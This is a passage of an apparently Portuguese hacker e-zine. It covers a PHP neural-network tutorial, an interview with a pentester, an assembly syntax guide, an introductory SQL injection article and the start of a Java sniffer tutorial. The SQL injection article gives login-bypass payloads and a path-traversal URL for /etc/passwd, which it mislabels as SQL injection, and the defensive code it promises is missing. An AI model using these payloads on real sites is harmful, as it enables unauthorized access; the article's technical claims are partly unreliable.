*/ $info = array(); foreach ( $dados as $pessoa ) { array_push ( $info, array ( array ( $pessoa['sexo'], $pessoa['idade'], $pessoa['filhos'] ), array ( $pessoa['saida'] ) ) ); } fann_train ( $rede, $info, // informacao utilizada para o treino 10000, // numero maximo de interacoes para treino da rede // (epocas/epochs) 0.00001, // erro max. para que a rede seja considerada treinada 0 // mostrar informacoes sobre o treino da rede a cada // quantas epocas? ); $teste0 = fann_run ( $rede, array ( 'F', 22, 0 )); $teste1 = fann_run ( $rede, array ( 'M', 32, 1 )); $Ivan = fann_run ( $rede, array ( 'M', 30, 1 )); $Juliana = fann_run ( $rede, array ( 'F', 20, 0 )); $Maristela = fann_run ( $rede, array ( 'F', 22, 0 )); $Claudionor = fann_run ( $rede, array ( 'M', 37, 0 )); $Marcia = fann_run ( $rede, array ( 'F', 25, 1 )); $Sabrina = fann_run ( $rede, array ( 'F', 21, 0 )); echo "As saidas foram as seguintes:\n". "teste0: $teste0[0]\n". "teste1: $teste1[0]\n". "Ivan: $Ivan[0]\n". "Juliana: $Juliana[0]\n". "Maristela: $Maristela[0]\n". "Claudionor: $Claudionor[0]\n". "Marcia: $Marcia[0]\n". "Sabrina: $Sabrina[0]\n\n"; ?> <--> php_rna/peopleClass.php Antes de verificarmos como a rede se comporta, algumas consideracoes devem ser feitas: - Os dados para treino da rede sao muito importantes, entao devem ser bem selecionados e em uma boa quantidade ( o que nao foi o caso, esta sendo utilizada pouca informacao para treino) - Observe que os dados que serao testados para a saida em "$teste0" e "$teste1" sao exatamente iguais a dados que foram utilizados durante o treinamento da rede, entao essas saidas deveram ser iguais as saidas que foram apresentadas com os mesmos dados durante o treinamento. - O codigo php utiliza algumas poucas funcoes, resumidamente trabalhando da seguinte forma: * E' carregado o modulo para uso da fann; * E' criado um array com as informacoes que serao utilizadas pela rede durante o treinamento; * A rede e' criada; * As informacoes que serao utilizadas para o treino e' organizada em uma pilha ( que vai se transformar em um array de arrya ), que sera passada para o treino da rede; * A rede e' treinada; * A rede e' utilizada para classificar informacoes para "teste0", "teste1", "Ivan", ... e "Sabrina"; * O resultado da classificacao e' entao exibido; Vejamos como ficou: $ php peopleClass.php As saidas foram as seguintes: teste0: 0 teste1: 1 Ivan: 1 Juliana: 0 Maristela: 0 Claudionor: 1 Marcia: 1 Sabrina: 0 $ Como dito, "teste0" e "teste1" realmente obtiveram as saidas conforme o esperado. O que podemos observar tambem e' que, aparentemente as informacoes fo- ram classificadas de tal forma que se assemelham com os dados de entrada. Veja por exemplo o Claudionor, que tem 37 anos, 1 filho e e' do sexo 'M'. Nos dados de entrada nao existe nenhuma informacao igual a dele, e o que mais se assemelha e' a entrada da linha 12 de dados: "array ( 'sexo' => 'M', 'idade' => 36, 'filhos' => 1, 'saida' => 1 )" Assim como esta entrada de dados, a saida do Claudionor tambem esta em 1, ou se- ja, o Claudionor se encaixaria na classe de pessoas que efetuariam uma compra pela internet. Como pode se observar, o funcionamento e' bastante simples (embora os algoritimos utilizados para que isso funcione nao sao assim tao simples). Apos essa breve introducao e visualizacao de como funciona ( e que realmente funcio- na), podemos partir para algo mais interessante. --=[ Utilizacao de RNA para Deteccao Local de Intrusao (Proxima Parte) Sistemas dedicados a determinadas tarefas normalmente seguem um deter- minado padrao, muito embora esses padroes possam nos passar despercebidos. Eles podem ser, entre outras coisa: - Arquivos * Quem acessou * Em que horario acessou * O que fez com o arquivo (leu/gravou/deletou) * De onde acessou - Processos * Quem executou * Em que horario executou * Durante quanto tempo ficou ativo O que vamos implementar e' uma simples RNA treinada com informacoes de quais usuarios acessam quais arquivos e em que horarios. O ideal seria treinar a rede com informacoes sobre o uso normal do ambiente no qual o sistema de de- teccao de intrusao (chamado agora apenas de HIDS - Host Intrusion Detection System ) sera implementado. A rede sera treinada com informacoes triviais, como user id, arquivo acessado e horario e o dia de acesso ( dia normal / fim de semana ). Devido a simplicidade do treino ( nao sera algo muito aprofundado ), a quantidade de falso-positivos pode ( provavelmente sera ) muito alta. [ CONTINUA NA PARTE 2 ] [1] http://prdownloads.sourceforge.net/fann/fann-1.2.0.tar.bz2?download [2] http://prdownloads.sourceforge.net/fann/fannphp-0.1.0.tar.bz2?download [3] http://leenissen.dk/fann/fann.html#php.api http://en.wikipedia.org/ http://pt.wikipedia.org/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[11]-=[Entrevista com dum_dum]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Perguntas por: d4rwin, hallz, SKOFF, SkyNet45 e tDs 1. Primeiramente, gostaríamos que você se apresentasse, fazendo um pequeno resu- mo de como foram os seus primeiros contatos com computadores. Meu nome é Wendel Guglielmetti Henrique, atualmente trabalho como analista de penetration test (teste de intrusão), sou um dos fundadores do grupo Front The Scene, já estive ligado a outras cenas e grupos de Hackers, ou se preferirem, Hackers Éticos. Sou um dos fundadores e organizadores do H2HC (Hackers 2 Hackers Conference), e faço parte de algumas poucas comunidades de Hackers internacionais. Meu primeiro micro computador eu adquiri por influência de um tio, que me con- venceu que era mais interessante pedir um micro computador de presente de ani- versário do que um video-game da época. Eu não sabia exatamente o que fazia, mas eu já achava bem interessante os três micro computadores que ele tinha na empre- sa (rodando MS-DOS). :) Meu interesse por jogos eletrônicos foi diminuindo com o passar do tempo. A prin- cípio eu gostava de aprender sobre o MS-DOS, com exceção de programação em ar- quivos de lotes. Na época, programação não me atraía, para não dizer que eu achava muito chato. Até onde eu me lembro a cidade onde eu morava ainda não tinha provedor de acesso a internet ou BBS. Eu tinha poucos conhecidos que tinham ou se interessavam por micro computadores. Meu interesse cresceu alguns anos depois, quando mudei de escola e fiz um amigo (Fernando) que também gostava muito de micro computadores. O Fernando sabia mais do que eu e tinha acesso a internet. 2. Para você, o que é um hacker? Muito complexo definir. Se eu tivesse que definir de forma sucinta, eu diria que são pessoas que tem sede de aprender, e acabam se tornando muito boas nisso. De uma certa forma, eu acho que lembra o significado da palavra Kung-Fu. Entretanto esse perfil é voltado para informática, mas acaba abrangendo outras áreas relacionadas, como: telefonia, sistemas digitais, dispositivos eletrônicos, etc. Outro ponto relevante é o grande interesse por segurança e insegurança, que talvez seja o que os motive. E por fim, mas não menos importante, vem a po- lêmica ética Hacker, que acaba sendo moldada em cada um deles com o passar dos anos, e a sua filosofia em prol de várias causas como a liberdade da informação. 3. A Ética Hacker também é algo bastante discutido. Algumas pessoas chegam in- clusive a dizer que hackers não têm (ou não devem ter) uma ética. Qual é o seu ponto de vista? Hackers tem ética. A questão é que essa ética em vários pontos não condiz com a ética que as pessoas aprendem desde criança. A ética Hacker ao meu ver é baseada em três pilares, sendo: - A liberdade da informação. - Possibilidade de acesso ao conhecimento. - Usufruir dos dois pilares acima da melhor forma possível para que não exista (ou exista o mínimo possível) pessoas prejudicadas. 4. O que te atrai no hacking? Principalmente os desafios que ele proporciona. 5. Como você acha que é formado um hacker? Definitivamente não é em Universidades. :) Os Hackers de forma geral são autodidatas, conseqüentemente a formação acontece naturalmente de acordo com o tempo que cada um começa a dedicar para pesquisar e desenvolver nesse seguimento. A própria comunidade Hacker tem um papel importante nesse sentido, pois ela desenvolve material para que novos interessados possam ler, aprender e conhecer o caminho das pedras... 6. Quais os livros/textos você acha fundamentais para alguém que deseja ser um hacker? Parece preconceituoso, mas eu acho fundamental conseguir ler em inglês para poder ter acesso mais fácil as informações. A língua inglesa tem um ponto muito positivo, que possibilitou através da Internet a disseminação quase em tempo real de conhecimento entre comunidades do mundo todo. Alguns Hackers defendem a importância de conhecer outros idiomas, como alemão, francês, russo, polonês, etc devido a grande qualidade de alguns textos publi- cados nesses idiomas, que não são traduzidos para a língua inglesa. Eu não acredito que existam livros fundamentais, mas sim tópicos fundamentais. Vou citar alguns tópicos e referencias de alguns clássicos do gênero, no intuito de auxiliar quem quer começar e não sabe por onde. Sistemas Operacionais (Internals): Operating System Concepts Modern Operating Systems (Second Edition) Operating Systems: Design and Implementation (Second Edition) Rede de Computadores: The Protocols (TCP/IP Illustrated) UNIX Network Programming Lógica de programação e linguagens: The Logical Basis for Computer Programming Curso básico de C da UFMG (http://ead1.eee.ufmg.br/cursos/C/) Programming Windows (Fifth Edition) Advanced Programming in the UNIX(R) Environment (Second Edition) Professional Assembly Language (Programmer to Programmer) Hacking em Geral: Phrack Magazine (http://www.phrack.org) The Hackers Choice - THC (www.thc.org/) Xfocus Team (http://www.xfocus.org/) Eventos de Hacking no Brasil: H2HC (http://www.h2hc.com.br OU http://www.h2hc.org.br) Code Breakers (http://www.codebreakers.com.br/) 7. Para você, quais pessoas e/ou grupos deram grandes contribuições para a cena hacker, tanto tecnicamente quanto na disseminação do espírito hacker? Depende, você quer saber sobre a cena Brasileira ou Internacional ? O Hacking tem algumas décadas, o que torna difícil dizer quais foram as maiores contribuições, já que eu não vivi nem mesmo metade delas. Entretanto, vou listar de forma reduzida algumas que eu presenciei. Brasil: - Axur05 - Barata Elétrica (apesar de eu não gostar muito, ela foi importante) - Sekure.org - Unsekurity (Scene & Team) - Clube Dos Mercenarios (CDM) - H2HC (Hackers 2 Hackers Conference) Internacional: - Chaos Computer Club (CCC) - Cult Of The Dead Cow (CDC) - 2600: The Hacker Quarterly (2600 Magazine) - Eletronic Frontier Foundation (EFF) - Legion Of Doom (LOD) - Masters Of Deception (MOD) - L0pht Heavy Industries - The Hackers Choice (THC) Eu acabei modificando várias vezes essa lista, pois existiram inúmeros grupos de peso com o passar dos anos, e para não favorecer nenhum, coloquei apenas os que eu considero que foram extremamente importantes para o Hacking. 8. Vemos constantemente a mídia taxar hackers como criminosos. Qual seria o principal motivo? E o que poderia ser feito para mudar esta situação? Esse assunto é muito polêmico na comunidade Hacker. Eu acredito que os dois principais motivos são: a desinformação e os interesses comerciais. Vários Hackers Brasileiros já contataram vários reporters de grandes meios de comunicação como Globo, Folha de São Paulo, Estadão, etc, com intuito de escla- recer conceitos utilizados de forma errônea nas matérias. Alguns simplesmente ignoram. Contudo, essa situação tem se modificado nos últimos anos, aos poucos. Por outro lado, existe a questão do interesse comercial: como nós bem sabemos, a palavra Hacker vende! 9. O Brasil é famoso por seus grupos de pichadores, que figuram inúmeras vezes em matérias publicadas por todas as partes. Você acha que o Brasil tem real- mente grandes talentos na "arte do hacking" ou apenas pichadores e kiddies? Como em todo lugar do mundo, o Brasil tem verdadeiros Hackers, mas particular- mente eu acho que são poucos comparados a outros países, inclusive aqueles muito menores que o nosso. O Brasil com certeza tem muito mais Defacers, Script Kiddies, Carders e Bankers. Ser Hacker leva tempo, muito tempo, atualmente nós temos muitos newbies no Bra- sil. Então quem sabe daqui a alguns anos nós tenhamos uma cena Hacker forte. 10. O cenário do hacking no Brasil não é tão expressivo quanto o de alguns outros países. Isso pode ser devido a qual(is) fator(es)? Bom, eu não entendo muito dessa parte social, quem deveria responder essa pergunta é o meu irmão, que estuda Ciências Sociais. :) Eu acredito que os principais fatores são: - A Internet é recente no Brasil com relação a outros países de poder econômico maior. - Hoje está muito mais fácil, mas a alguns anos atrás adquirir um micro computa- dor era um luxo de poucos. - O famoso jeitinho Brasileiro de sempre querer passar a perna em alguém, ser mais esperto, etc. 11. O que te levou a criar a Front The Scene? Qual é o objetivo da FTS? Você acha que este objetivo vem sendo alcançado? A Front The Scene foi criada junto com meu amigo Ygor (dmr). A idéia era apenas ser um grupo de amigos para trocar informações referentes a segurança computacio- nal e hacking. Atualmente a única parte ativa é a mail-list. A FTS colaborou com uma certa expressão para outras comunidades e acontecimentos importantes do Hacking no Brasil, como o primeiro evento Hacker Brasileiro, o H2HC. Eu diria que para a FTS alcançar algum objetivo nos dias de hoje, ela precisaria ser reestruturada; tenho discutido isso com o Ygor (dmr) recentemente. 12. Quais tecnologias/conceitos você acredita serem promissores para o aumento da segurança de redes e máquinas? E quais abordagens devem ser abandonadas ou repensadas? Eu acredito que o conceito mais promissor para um aumento drástico da segurança da informação é educar os usuários, desenvolvedores, administradores de sistemas e administradores de redes. :) Existem vários conceitos aplicados atualmente que ou são defasados ou o design é ineficaz. Um exemplo interessante é o novo sistema para deletar ou encriptar arquivos de laptops roubados (http://info.abril.com.br/aberto/infonews/042006/ 12042006-7.shl). - Uma quadrilha especializada em roubos de laptops não formataria a máquina antes de revender? - Se o objetivo da quadrilha é roubar informações classificadas, para que eles conectariam esse laptop à internet? Fazer atualizações do Windows (rs)? 13. Você já teve algum tipo de problema por ter o seu nome vinculado ao hacking? Sim, algumas empresas tem alguns analistas de segurança e consultores de segurança que confundem a definição de Hacker com Cracker e as vezes até mesmo com Carders e Bankers, e dessa forma já fomos (nós do Intruders Tiger Team Security) prejudi- cados. 14. Em suas palestras, qual tem sido o perfil predominante do público? Depende muito do evento; se é um evento de Software Livre, Hacking ou Universi- tário. De uma forma geral, a grande maioria são interessados por segurança e in- segurança, na maioria estudantes universitários. 15. As instituições de ensino tem um histórico ruim no quesito (in)segurança. Muitos alunos terminam o curso de TI sem saber o que é um race condition, format string bug, MITM e até mesmo buffer overflow. Como você avalia, em linhas gerais, o nível de conhecimento sobre as ameaças digitais dos uni- versitários que tem encontrado? Generalizar é complicado, mas de forma geral os conceitos de segurança dos uni- versitários são muito fracos. Acredito que isso acontece devido a não existirem fundamentos de segurança da informação nas grades curriculares, o que é uma pena. Como eu disse, são casos e casos, mas no geral os conceitos sobre segurança da informação são bem precários, com resalva para os cursos cujo foco é segurança ou quando o professor/aluno tem um interesse extra-curricular por segurança. 16. Sobre o H2HC. Conte-nos um pouco sobre a experiência de organizar um evento para hackers, no Brasil. Foram muitas as dificuldades? As expectativas estão sendo atingidas? O que podemos esperar para as próximas edições? Organizar eventos é difícil e requer muito tempo e esforço. Se for um evento de Hacking complica mais ainda. Se o evento for de Hacker e no Brasil, onde existe essa grande confusão dos termos, então é trabalho para homem casado, como diz meu amigo Glaudson. O H2HC é um evento sem fins lucrativos, e diga-se de passagem dá prejuízo (que é ratiado entre os organizadores). Por ter como foco o Hacking, fica difícil arrumar patrocinadores; então o evento é totalmente independente. O H2HC tem melhorado a cada ano em vários pontos, como organização, estrutura e modelação. Esse ano nós temos alguns novos membros escolhidos a dedo na comissão organizadora, e acreditamos que isso vai nos ajudar bastante. O H2HC com certeza atinge os seus dois principais objetivos, que são: - Fortalecer a cena Hacker brasileira como um todo. - Canalizar os recursos da mídia para difundir o sentido correto do termo Hacker. O próximo H2HC vem cheio de novidades, aguardem! 17. Qual seria o perfil ideal para um patrocinador do H2HC? Uma empresa ou pessoa que apoie o Hacking ético, e não emponha as seguintes restrições: - Proibido demonstrar falhas ou citar como ineficaz o produto X, Y ou Z. - Não nós obrigue a abrir palestras fora do foco do evento. Nós entendemos que isso pode ser complicado do ponto de vista comercial, e estamos abertos a propostas e quem sabe chegar a um consenso. 18. Como as empresas para quem você prestou serviços vêem o hacking e os hackers? Esse assunto tem que ser tratado com muito cuidado. Nós procuramos explicar para todos os clientes e possíveis clientes o que é Hacking e o que são Hackers. Pro- curamos ainda mostrar que os Hackers estão em todos lugares, e participam ativa- mente no desenvolvimento das mais variadas soluções existentes, não só no campo da segurança computacional. 19. Sobre o Intruders, o que tem sido desenvolvido/pesquisado? O Intruders Tiger Team Security (http://www.intruders.com.br/) é onde eu trabalho, que é uma divisão da Security OpenSource (http://www.security.org.br). Nós pesquisamos várias áreas, as principais são: - Pesquisa & desenvolvimento de vulnerabilidades. - Pesquisas com certificados digitais. - Pesquisas & desenvolvimento de possíveis soluções Anti-Phishing - Pesquisas & desenvolvimento de possíveis soluções contra malwares em geral (vírus, trojans, ...) - Desenvolvimento do Security Works, que é uma família de serviços de segurança gerenciados. 20. Existe alguma solução desenvolvida pelo Intruders que estará disponível aos usuários em breve? Sim, mas infelizmente não posso repassar maiores detalhes. :( 21. Existem rumores de que o seu nick é uma referência ao pagode, som que você curte. (tikidum dum dum, tikidum dum dum). Você confirma? Hahaha, estava demorando pra começar! :) 22. Espaço livre. Mande o seu recado para os newbies de plantão :-) 1 - Don't learn to hack, Hack to learn. 2 - Nunca confie no hallz, ele sempre faz perguntas para te deixar encabulado. :) _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[12]-=[Diferencas entre a sintaxe AT&T e a sintaxe Intel]=-|Narcotic|=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= --=[ Introducao Aqui vai uma breve introducao sobre a diferenca entre a sintaxe AT&T e a Intel. Raro conhecer alguem que aprenda primeiramente a sintaxe AT&T pois ela eh um tanto confusa para um iniciante. Mas para programadores mais experientes, ela se torna uma ferramenta muito poderosa, feita de tal maneira q impossibilita ambiguidades no codigo. --=[ Porque aprender a Sintaxe AT&T O principal montador (assembler) que utiliza a sintaxe AT&T eh o GAS (GNU Assembler) Ele eh usado em conjunto com o GCC (GNU C Compiler) para escrever grande parte dos softwares que compoem os sistemas operacionais livres atuais. Alem disso, existem outros programas que se baseiam nessa sintaxe, como o GDB e o objdump, todos da familia dos binutils. --=[ A Sintaxe Primeiramente, os operandos das instrucoes em AT&T sao invertidos, essa ideia eh a que causa mais confusao entre os novatos. Enquanto em Intel a sintaxe eh: instrucao destino, origem em AT&T eh: instrucao origem, destino --=[ Registradores Todos os nomes dos registradores devem ser prefixados por '%', exemplo %ax, %bx, %cl, %esp Nao interessa onde voce use eles, por ex. mov %eax, %ebx Esse comando vai mover o valor do registrador eax para o registrador ebx. --=[ Valores Literais Os literais em AT&T devem ser prefixados com '$'. Por exemplo: mov $123, %ebx push $ABCD A primeira instrucao move o valor 123 p/ o registrador ebx, equanto a segunda empilha os valores ASCII dos caracteres ABCD. --=[ Enderecamento de Memoria Na sintaxe AT&T, o enderecamento de memoria eh feito da seguinte forma: segmento:offset(base, indexador, escala) Por exemplo, o que em NASM seria [es:eax+ebx*4+100] em GAS ficaria %es:100(%eax, %ebx, 2) Note q no caso dos offsets e da escala, os literais nao precisam ser prefixados por '$'. Alguns exemplos de enderecamentos de memoria: GAS NASM --- ---- 100 [100] %es:100 [es:100] (%eax) [eax] (%eax,%ebx) [eax+ebx] (%ecx,%ebx,2) [ecx+ebx*2] (,%ebx,2) [ebx*2] -10(%eax) [eax-10] %ds:-10(%ebp) [ds:ebp-10] Detalhe: Repare que o offset pode receber valores negativos tambem e valores literais sem '$' sao considerados enderecos de memoria. --=[ Tamanho dos Operandos Algumas vezes, especialmente quando estamos movendo valores para a memoria, eh necessario q especifiquemos o tamanho dos operandos. Por ex: mov $10, 100 Apenas diz q o valor 10 serah movido para o endereco 100, mas nao diz o tamanho da transferencia. Em NASM voce pode especificar o tamanho dos operandos usando as palavras reservadas byte/word/dword etc, na frente do operando. Jah no GAS voce especifica incluindo os sufixos b/w/l na instrucao. Por ex: movb $10, 100 vai mover um byte com o valor 10 p/ o endereco 100, enquanto movl $10, 100 movera um long (4 bytes) com o valor 10 para o endereco 100. --=[ Instrucoes de Desvio As instrucoes call, jmp e ret podem desviar a execucao de uma parte do programa para outra. Os valores para instrucoes call e jmp imediatos recebem 2 parametros: jmp $segmento, $offset Para jumps relativos, o endereco de memoria deve ser prefixado por um '*'. Por ex: jmp *100 Exemplos de instrucoes de desvio: GAS NASM --- ---- Imediato jmp $100, $100 jmp 100:100 ljmp $100, $100 jmp 100:100 call $100, $100 call 100:100 lcall $100, $100 call 100:100 Absoluto jmp 100 jmp 100 call 100 call 100 Indireto jmp *100 jmp near [100] call *100 call near [100] jmp *(%eax) jmp near [eax] call *(%ebx) call near [ebx] ljmp *100 jmp far [100] lcall *100 call far [100] ljmp *(%eax) jmp far [eax] lcall *(%ebx) call far [ebx] Retornos ret retn lret retf lret $0x100 retf 0x100 _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[13]-=[Introducao a SQL Injection]=-|Inseto Verde|=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-= Sumario -= Introducao -= Linguagem "foderosa" -= Entendendo a linguagem -= Entendendo o ataque -= Mais comandos -= Existe jeito? -= Consideracoes finais -= Conheca um pouco mais -= Finished -= --=[ Introducao Neste artigo serah abordado apenas o mini-basico do tao extenso e pode- roso SQL Injection. Mesmo por motivos de minhas limitacoes de conhecimento, nao serah abordado neste artigo o SQL injection profundamente. Um artigo super-newbie, por isso se voce se considera elite, favor nao prossiga a leitura do texto pois serah perda de seu valioso tempo. E com certeza nao irah te acrescentar nada. Este artigo visa ajudar os iniciantes. -Igualmente a mim. --=[ Linguagem "foderosa" A linguagem SQL eh muito usada atualmente, pois ela facilita o trabalho e o acesso ao banco de dados. Com ela o programador pode inserir dados no banco, extrair, deletar... enfim, tem total controle sobre o banco. Mas como jah eh conhecido de todos os forenses: tudo que eh usado para o bem, pode tambem ser usado para o mal! Eh aproveitando dessa natureza que surge o SQL injection. --=[ Entendendo a linguagem Para entendermos um pouco de como implementar um ataque ao banco via injecao de SQL, vamos montar uma sintaxe SQL para a conhecer: SELECT user FROM tab_user WHERE user = '& sUser &' AND pass = '& sPass &' Well, acima temos uma simples sintaxe em SQL, mas o que ela esta' fa- zendo? Essa sintaxe esta' enviando ao banco a requisicao de todos os usuarios que sejam iguais a user '& sUser &' e tenham pass = '& sPass &'. Onde as strin- gs sUser e sPass conteem os valores digitados pelo usuario. Ah! e nessa sintaxe, apos o SELECT, o "user" e' o nome do campo dentro da tabela "tab_user". Assim a sintaxe manda para o banco a requisicao jah defi- nida: "Quero tal coisa de tal lugar se isso for igual a isso e isso igual a isso". Assim se os valores encontrados na tabela correspondem aos valores con- tidos na sintaxe o usuario tera a permissao de continuar a execucao requisitada, tal como por exemplo, acessar uma determinada sessao, pagina pessoal e bla bla bla... Caso os valores da sintaxe sejam incompativeis com os contidos no Banco de Dados, uma mensagem sera exibida (na grande maioria das vezes). --=[ Entendendo o ataque Agora que entendemos como, basicamente, funciona o SQL podemos ver algu- mas formas de implementar um ataque via SQL injection... Usando o exemplo da sintaxe construida acima, nos poderiamos passar direto para a execucao de pagi- nas privadas, mesmo sem ter a senha e usuario valido. Isso e' muito simples. Vamos usar a imaginacao: O que aconteceria se o usuario digitasse na caixa de usuario e senha o seguinte: ' or '1' = '1 Voce consegue dizer como ficaria a sintaxe SQL? Caso nao, la vai: SELECT user FROM tab_user WHERE user =' ' or '1' = '1' AND pass =' ' or '1'='1' E dai??? O que tem demais nisso? Se observarmos a instrucao SQL esta' dizendo ao banco o seguinte: Selecione tudo da tabela tab_user que tiver user = vazio ou 1 igual a 1 e pass = vazio ou 1 igual a 1... Bem, no minimo o nume- ro 1 sempre sera igual a 1, entao "Tamo Dentro". Pra piorar a situacao pra uns e facilitar pra outros, poderemos fazer ainda de uma forma mais simples: ' = ' Quando esse codigo se juntar com a sintaxe SQL ja existente na pagina, ele fica- ra assim: SELECT user FROM tab_user WHERE user = ' '=' ' AND pass = ' '=' ' Pra variar, um campo vazio sempre sera = a vazio, assim, o resultado da sintaxe SQL sera verdadeiro, permitindo a passagem.:) --=[ Mais comandos ... Bem, vamos conhecer mais alguns comandos de SQL, assim voce pode usar a malicia e criar sintaxes diferentes. Caso voce nao conheca bem a linguagem SQL, nem precisa dizer que sera' necessario estuda-la nao e'?! La' vai entao: INSERT INTO tab_user (User, pass) VALUES ('eu_mesmo', 123456) No exemplo acima eu inseri na tabela tab_user um usuario chamado eu_mesmo, com a senha 123456. DELETE FROM tab_user WHERE user = 'eu_mesmo' Pelo comando na sintaxe ja' da' pra saber o que ela faz... Apaga do banco o usu- ario chamado eu_mesmo! Uma coisa bem interessante e' que nos podemos comentar os codigos que vierem posteriormente ao nosso, com um simples comando, o -- exatamente assim. Caso o banco seja um ORACLE, antes do -- teremos de separa-lo da sintaxe com um ; entao no ORACLE ficaria assim ;--. Com isso podemos anular todo o resto da sintaxe que estiver inserida do lado direito apos o codigo injetado por nos. Uma outra coisa bastante interessante e' a concatenacao, podemos fazer isso com um simples + por exemplo... 'bo' + 'ok' = book Se o banco for um ORACLE ficaria assim: 'bo' || 'ok' = book Entendido ne'? Muito simples, o basico. OBS.: Caso quando voce injete um codigo SQL, abra uma pagina de erro 500.100, saiba que o servidor e' um Windows 2000. Este erro e' padrao do Windows, e ne- nhum outro sistema o exibe! --=[ Existe jeito? Para evitar esse tipo de ataque e' necessario fazer um tratamento no co- digo para que toda vez que um comando SQL for inserido nos campos, eles sejam ignorados. Segue abaixo um script de uma função chamada anti_injection. Ela foi escrita por Fabyo do imaster... 1. Com essas poucas linhas ja torna possivel previnir-se contra esse tipo de ataque. Claro que nada e' 100% seguro. Mas ja torna mais dificil de se apli- car uma injecao de SQL no teu codigo. --=[ Consideracoes Finais Quando essa falha foi descoberta, ateh o tao poderoso PHPnuke estava vulneravel, e o que deveria ja ser extinto, ainda nao o e', ao dar uma olhada na internet a dentro, nota-se que muitas paginas ainda sao vulneraveis a SQL injection. Muito mais paginas do que se imagina, e ainda paginas de shopping on-line, essas que garantem ao usuario uma compra "segura", segundo eles. Com um avanco nos conhecimentos de SQL injection e' possivel capiturar dados do banco e exibi-los sem grandes dificuldades. Muitas vezes com um simples: http://www.paginavulneravel.com/../../etc/passwd O arquivo que contem as senhas e' exibido. Fica mais uma vez confirmado, nao provado, que nao existe NADA absolutamente seguro... e que a seguranca e' um sonho sem fundamentos. Aconselho aos interessados em se proteger desse tipo humilhante de ata- que a se aprofundarem mais no assunto. Pois para entender como se proteger, e' preciso se conhecer como e' executado o ataque. --=[ Conheca um pouco mais http://www.w3schools.com/sql/sql_intro.asp http://www.1keydata.com/sql/sql.html http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=sql+ injection&type=archives&%5Bsearch%5D.0&%5Bsearch%5D.y=0 Nos links acima voce podera conseguir mais conhecimento sobre o SQL injection e do proprio SQL em si. --=[ Finished Espero poder ter ajudado a dar uma luz, mesmo que minima, na mente dos interessados... Se voce e' elite e leu o texto ate' aqui, lamento muito por vo- ce nao ter seguido meu conselho. So me resta dizer: Da proxima vez escute con- selhos. Quero lembrar que hacking acima de tecnica e' pura etica, por isso nao use o conhecimento que possui para maus objetivos. Nao existe satisfacao melhor que ajudar outros, "há mais felicidade em dar do que há em receber." Por isso, use de bom senso caso encontre uma pagina vulneravel. E de coracao eu gostaria de agradecer a todos os que me dao forca, em especial o SkyNet45 e o Assuero Grandes mentes lutando pela liberdade da infor- macao... /* Disciplina e' liberdade */ Um abraco a todos, Inseto Verde if.undef [at] gmail [dot] com _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[14]-=[Implementando um Sniffer em Java]=-|tDs|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= --=[ Introducao Manipular raw sockets normalmente nao e' uma tarefa muito simples e pode tornar-se bastante ingrata quando nao se tem um conhecimento amplo sobre tcp/ip (o que e' o meu caso). Escrever codigo em java tambem nao e' uma tarefa muito gratificante (no comeco), pois parece que ao inves de facilitar o trabalho de programar, ela dificulta (ou vai dizer que e' legal ter que ficar tratando ex- ceptions por todo o codigo?). Veremos aqui uma brevissima introducao 'a lingua- gem java, atraves da utilizacao de simples exemplos, ou seja, nao serao expli- cados conceitos por tras da linguagem, e apos isso como trabalhar com raw so- ckets utilizando java (em ambiente linux). --=[ Instalando J2SESDK J2SESDK - Java 2 Standard Edition Software Development Kit - fornece um ambiente completo para o desenvolvimento de aplicacoes em java. Caso ja o tenha instalado, nao e' necessario a leitura desta parte do texto. Apos efetuar a copia de J2SDK em [3] (a instalacao sera feita utilizando o "self-extracting-file", no diretorio /usr/local), a instalacao e' dada da se- guinte forma: # cd /usr/local # chmod +x j2sdk-1_4_2_-linux-i586.bin # ./j2sdk-1_4_2_-linux-i586.bin Aceite a licenca [yes] # rm j2sdk-1_4_2_-linux-i586.bin # ln -s /usr/local/j2sdk1.4.2_ /usr/local/java # echo "export JAVA_HOME=/usr/local/java" >> /etc/profile # echo "PATH=$JAVA_HOME/bin:$PATH" >> /etc/profile Apos esse procedimento, podemos escrever um simples "HelloWorld.java", para testarmos a instalacao (e' necessario efetuar um novo login para que as mudancas de PATH e de localizacao do java surtam efeito) <++> java/HelloWorld.java /** * Simples hello world em java * by tDs tds@motdlabs.org * * Compile com $javac HelloWorld.java */ public class HelloWorld { public static void main(String[] args) { System.out.println ("Hello World"); System.exit(0); } } <--> java/HelloWorld.java Compile e execute o programa: $ javac HelloWorld.java $ java HelloWorld Hello World $ Verificado entao que a instalacao do java foi feita corretamente. --=[ Instalando LIBPCAP Java nao tem suporte nativo a raw sockets, sendo necessario para isso a utilizacao da libpcap. A libpcap nos disponibiliza uma interface em alto nivel para desenvolvimento de sistemas de captura de pacotes. Primeiro e' necessario efetuar o download em [1]. A versao utilizada foi a 0.8.3. A instalacao e' bas- tante simples: $ tar xzvf libpcap-0.8.3.tar.gz $ cd libpcap-0.8.3 $ ./configure $ make # make install Informacoes detalhadas sobre a libpcap podem ser encotradas em sua man page: 